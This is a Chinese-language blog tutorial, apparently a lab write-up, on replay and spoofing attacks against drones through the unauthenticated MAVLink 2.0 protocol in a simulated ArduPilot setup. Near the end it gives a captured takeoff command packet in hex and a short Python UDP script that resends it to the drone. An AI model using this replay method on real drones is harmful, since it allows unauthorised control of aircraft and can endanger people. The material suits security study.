注:此文所有环境均为虚拟情况下实现。
实验环境:Ubuntu18.04、 QGroundControl (地面基站)、 ardupilot (仿真开源飞控平台)
实验工具:wireshark (抓包分析) python (通信,发送数据包) 010editor (伪造攻击包)
无人机和地面站是通过无线信道中承载的通信协议建立的,由于通信协议 Mavlink 不支持加密通信和认证授权机制程序,这使得其容易受到各种攻击。地面站点通过一个未经认证的信道和没有加密的方式与无人机交换数据,攻击者拥有适当的发射器可以与无人机通信,并轻松地对无人机发起攻击。攻击可以分为截获(损害数据保密性的攻击)、篡改(损害数据完整性的攻击)、中断(损害数据可用性的攻击)和伪造(对真实性的攻击)。
此处只介绍关键部分,关于此协议更详细的介绍请移至笔者的《MAVLink2.0 协议介绍》阅读
首先,需要了解 mavlink2.0 协议报文的格式:
SYS: 代表发送本条消息帧的设备的系统编号,用于接收端识别消息来自哪个设备。
COMP: 代表发送本条消息帧的设备的单元编号,用于接收端识别消息来自设备的哪个单元。
可选用的 SIGNATURE:最后,Mavlink 2.0 使用可选的 13 字节签名字段来确保链接被篡改。此功能显着改善了 Mavlink 1.0 的安全性,因为它允许对消息进行身份验证并验证消息源自受信任的源。如果 INC FLAGS 设置为 0x01,则会附加消息的签名。
因为 MAVLink 协议的通信信道未被加密,且没有对消息来源的身份认证,所以,只需要侵入无人机所在的信道,如在无线情况下:使攻击端和受侵无人机在同一 wifi 下即可达到信道一致,理论上攻击者发送给无人机的数据包都会被接受,所以攻击主要利用这一原理。
可行的理论攻击方法如下图所示:
(未加 signature 部分) 通过对如上通信信道及字段的介绍,可知构造攻击报文时只需要将 SYS 和 COMP 字段伪造成 QGC (基站) 传输报文的系统 ID 字段,再将报文在同一信道中发送给无人机,无人机即可接收。
通过将特定命令 (如降落、前进等命令) 写入正常报文中 (也可截获无人机正常通信的报文来修改),保持攻击端和无人机在同一 wifi 下 (保持信道一致),使用特定的工具 (待定) 发送给无人机即可。
因为只有 signature 字段含有时间戳,所以重放攻击、消息指令修改、dos 攻击等方式都是可行的。
监听地面站发送给无人机的报文并复制,重复发送给无人机,使其重复之前的命令。(简略)
重放攻击原理:重放攻击的基本原理就是把以前窃听到的数据原封不动地重新发送给接收方。很多时候,网络上传输的数据是加密过的,此时窃听者无法得到数据的准确意义。但如果他知道这些数据的作用,就可以在不知道数据内容的情况下通过再次发送这些数据达到欺骗接收端的目的。
通过在无人机网络上执行数据包嗅探,攻击可以获得 MAVLink 数据包。常见的 MAVLink 数据包有 160 种;这些分组在 MAVLink 有效载荷中发送 UAV 状态信息或 GCS 命令。通过分析要传输的数据包,可以识别无人机当前是否在飞行、电池状态以及正在执行的任务。
根据这些信息,攻击者可以识别无人机的实际状态,并可以通过向其发送恶意数据包来禁用无人机。
使用 wireshark 截取 ardupliot 和 QGC 通信时的数据包,筛选出含有对无人机进行控制的数据包 (此处以起飞命令 'take off' 为例),截取数据包后,读取 takeoff 数据包的 16 进制流,直接进行重放,即通过 python 的 sockt 通信,将控制指令包原封不动地发送给无人机,以达到使无人机重复执行已经执行过的指令 (take off) 的目的。
首先截取 COMMAND_LONG 的 MAV_CMD_NAV_TAKEOFF 数据包,导出为 hex 流
fd200000a6ffbe4c00000000000000000000000000000000000000000000000000000000204116000101ce28
import socket
payload = 'fd200000a6ffbe4c00000000000000000000000000000000000000000000000000000000204116000101ce28'
# 创建TCP或UDP套接字对象
# sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # for TCP
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # for UDP
# 连接到目标IP地址和端口号
sock.connect(('192.168.56.139', 5501))
# 将16进制报文转换为二进制数据并发送
bin_msg = bytes.fromhex(payload)
sock.sendall(bin_msg)
文章引用微信公众号"白帽100安全攻防实验室",如有侵权,请联系管理员删除!